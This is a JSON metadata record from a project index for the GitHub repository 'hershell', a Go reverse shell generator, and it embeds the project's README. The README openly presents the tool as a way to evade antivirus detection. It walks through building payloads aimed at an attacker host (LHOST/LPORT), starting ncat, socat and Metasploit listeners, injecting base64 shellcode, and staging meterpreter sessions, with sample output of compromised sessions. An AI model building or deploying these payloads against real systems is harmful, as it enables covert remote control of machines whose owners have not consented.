{"id":13509863,"url":"https://github.com/lesnuages/hershell","last_synced_at":"2025-12-16T00:59:59.016Z","repository":{"id":39381060,"uuid":"115915190","full_name":"lesnuages/hershell","owner":"lesnuages","description":"Multiplatform reverse shell generator","archived":false,"fork":false,"pushed_at":"2020-03-26T09:16:01.000Z","size":25,"stargazers_count":585,"open_issues_count":3,"forks_count":98,"subscribers_count":18,"default_branch":"master","last_synced_at":"2025-03-24T01:44:28.582Z","etag":null,"topics":["exploit","reverse-shell","security"],"latest_commit_sha":null,"homepage":null,"language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"bsd-3-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/lesnuages.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2018-01-01T11:32:32.000Z","updated_at":"2025-03-20T20:46:37.000Z","dependencies_parsed_at":"2022-09-03T06:51:57.601Z","dependency_job_id":null,"html_url":"https://github.com/lesnuages/hershell","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lesnuages%2Fhershell","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lesnuages%2Fhershell/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lesnuages%2Fhershell/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lesnuages%2Fhershell/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/lesnuages","download_url":"https://codeload.github.com/lesnuages/hershell/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":246332238,"owners_count":20760445,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["exploit","reverse-shell","security"],"created_at":"2024-08-01T02:01:15.244Z","updated_at":"2025-12-16T00:59:58.956Z","avatar_url":"https://github.com/lesnuages.png","language":"Go","readme":"# Hershell\n\nSimple TCP reverse shell written in [Go](https://golang.org).\n\nIt uses TLS to secure the communications, and provide a certificate public key fingerprint pinning feature, preventing from traffic interception.\n\nSupported OS are:\n\n- Windows\n- Linux\n- Mac OS\n- FreeBSD and derivatives\n\n## Why ?\n\nAlthough meterpreter payloads are great, they are sometimes spotted by AV products.\n\nThe goal of this project is to get a simple reverse shell, which can work on multiple systems.\n\n## How ?\n\nSince it's written in Go, you can cross compile the source for the desired architecture.\n\n## Getting started \u0026 dependencies\n\nAs this is a Go project, you will need to follow the [official documentation](https://golang.org/doc/install) to set up\nyour Golang environment (with the `$GOPATH` environment variable).\n\nThen, just run `go get github.com/lesnuages/hershell` to fetch the project.\n\n### Building the payload\n\nTo simplify things, you can use the provided Makefile.\nYou can set the following environment variables:\n\n- ``GOOS`` : the target OS\n- ``GOARCH`` : the target architecture\n- ``LHOST`` : the attacker IP or domain name\n- ``LPORT`` : the listener port\n\nFor the ``GOOS`` and ``GOARCH`` variables, you can get the allowed values [here](https://golang.org/doc/install/source#environment).\n\nHowever, some helper targets are available in the ``Makefile``:\n\n- ``depends`` : generate the server certificate (required for the reverse shell)\n- ``windows32`` : builds a windows 32 bits executable (PE 32 bits)\n- ``windows64`` : builds a windows 64 bits executable (PE 64 bits)\n- ``linux32`` : builds a linux 32 bits executable (ELF 32 bits)\n- ``linux64`` : builds a linux 64 bits executable (ELF 64 bits)\n- ``macos32`` : builds a mac os 32 bits executable (Mach-O)\n- ``macos64`` : builds a mac os 64 bits executable (Mach-O)\n\nFor those targets, you just need to set the ``LHOST`` and ``LPORT`` environment variables.\n\n### Using the shell\n\nOnce executed, you will be provided with a remote shell.\nThis custom interactive shell will allow you to execute system commands through `cmd.exe` on Windows, or `/bin/sh` on UNIX machines.\n\nThe following special commands are supported:\n\n* ``run_shell`` : drops you an system shell (allowing you, for example, to change directories)\n* ``inject \u003cbase64 shellcode\u003e`` : injects a shellcode (base64 encoded) in the same process memory, and executes it\n* ``meterpreter [tcp|http|https] IP:PORT`` : connects to a multi/handler to get a stage2 reverse tcp, http or https meterpreter from metasploit, and execute the shellcode in memory (Windows only at the moment)\n* ``exit`` : exit gracefully\n\n## Usage\n\nFirst of all, you will need to generate a valid certificate:\n```bash\n$ make depends\nopenssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem\nGenerating a 4096 bit RSA private key\n....................................................................................++\n.....++\nwriting new private key to 'server.key'\n-----\ncat server.key \u003e\u003e server.pem\n```\n\nFor windows:\n\n```bash\n# Predifined 32 bit target\n$ make windows32 LHOST=192.168.0.12 LPORT=1234\n# Predifined 64 bit target\n$ make windows64 LHOST=192.168.0.12 LPORT=1234\n```\n\nFor Linux:\n```bash\n# Predifined 32 bit target\n$ make linux32 LHOST=192.168.0.12 LPORT=1234\n# Predifined 64 bit target\n$ make linux64 LHOST=192.168.0.12 LPORT=1234\n```\n\nFor Mac OS X\n```bash\n$ make macos LHOST=192.168.0.12 LPORT=1234\n```\n\n## Examples\n\n### Basic usage\n\nOne can use various tools to handle incomming connections, such as:\n\n* socat\n* ncat\n* openssl server module\n* metasploit multi handler (with a `python/shell_reverse_tcp_ssl` payload)\n\nHere is an example with `ncat`:\n\n```bash\n$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234\nNcat: Version 7.60 ( https://nmap.org/ncat )\nNcat: Listening on :::1234\nNcat: Listening on 0.0.0.0:1234\nNcat: Connection from 172.16.122.105.\nNcat: Connection from 172.16.122.105:47814.\n[hershell]\u003e whoami\ndesktop-3pvv31a\\lab\n```\n\nHere is an example with `socat` (tested with version `1.7.3.2`):\n```bash\n$ socat `tty` OPENSSL-LISTEN:1234,reuseaddr,cert=server.pem,key=server.key,verify=0\n# connection would be initiated here\n[hershell]\u003e whoami\ndesktop-3pvv31a\\lab\n```\n\n### Meterpreter staging\n\n**WARNING**: this currently only work for the Windows platform.\n\nThe meterpreter staging currently supports the following payloads :\n\n* `windows/meterpreter/reverse_tcp`\n* `windows/x64/meterpreter/reverse_tcp`\n* `windows/meterpreter/reverse_http`\n* `windows/x64/meterpreter/reverse_http`\n* `windows/meterpreter/reverse_https`\n* `windows/x64/meterpreter/reverse_https`\n\nTo use the correct one, just specify the transport you want to use (tcp, http, https)\n\nTo use the meterpreter staging feature, just start your handler:\n\n```bash\n[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] \u003e use exploit/multi/handler\n[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) \u003e set payload windows/x64/meterpreter/reverse_https\npayload =\u003e windows/x64/meterpreter/reverse_https\n[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) \u003e set lhost 172.16.122.105\nlhost =\u003e 172.16.122.105\n[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) \u003e set lport 8443\nlport =\u003e 8443\n[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) \u003e set HandlerSSLCert ./server.pem\nHandlerSSLCert =\u003e ./server.pem\n[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) \u003e exploit -j\n[*] Exploit running as background job 0.\n\n[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443\n[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) \u003e\n```\n\nThen, in `hershell`, use the `meterpreter` command:\n\n```bash\n[hershell]\u003e meterpreter https 172.16.122.105:8443\n```\n\nA new meterpreter session should pop in `msfconsole`:\n\n```bash\n[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) \u003e\n[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...\n[*] Meterpreter session 1 opened (172.16.122.105:8443 -\u003e 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100\n\n[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) \u003e sessions\n\nActive sessions\n===============\n\n  Id  Name  Type                     Information                            Connection\n  --  ----  ----                     -----------                            ----------\n  1         meterpreter x64/windows  DESKTOP-3PVV31A\\lab @ DESKTOP-3PVV31A  172.16.122.105:8443 -\u003e 172.16.122.105:44804 (10.0.2.15)\n\n[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) \u003e sessions -i 1\n[*] Starting interaction with 1...\n\nmeterpreter \u003e getuid\nServer username: DESKTOP-3PVV31A\\lab\n```\n\n## Credits\n\n[@khast3x](https://github.com/khast3x) for the Dockerfile feature\n","funding_links":[],"categories":["Go","\u003ca id=\"1a9934198e37d6d06b881705b863afc8\"\u003e\u003c/a\u003e通信\u0026\u0026代理\u0026\u0026反向代理\u0026\u0026隧道","\u003ca id=\"01e6651181d405ecdcd92a452989e7e0\"\u003e\u003c/a\u003e工具","security","Command and Control"],"sub_categories":["\u003ca id=\"56acb7c49c828d4715dce57410d490d1\"\u003e\u003c/a\u003e未分类-Proxy","\u003ca id=\"e9f97504fbd14c8bb4154bd0680e9e62\"\u003e\u003c/a\u003e反向代理"],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Flesnuages%2Fhershell","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Flesnuages%2Fhershell","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Flesnuages%2Fhershell/lists"}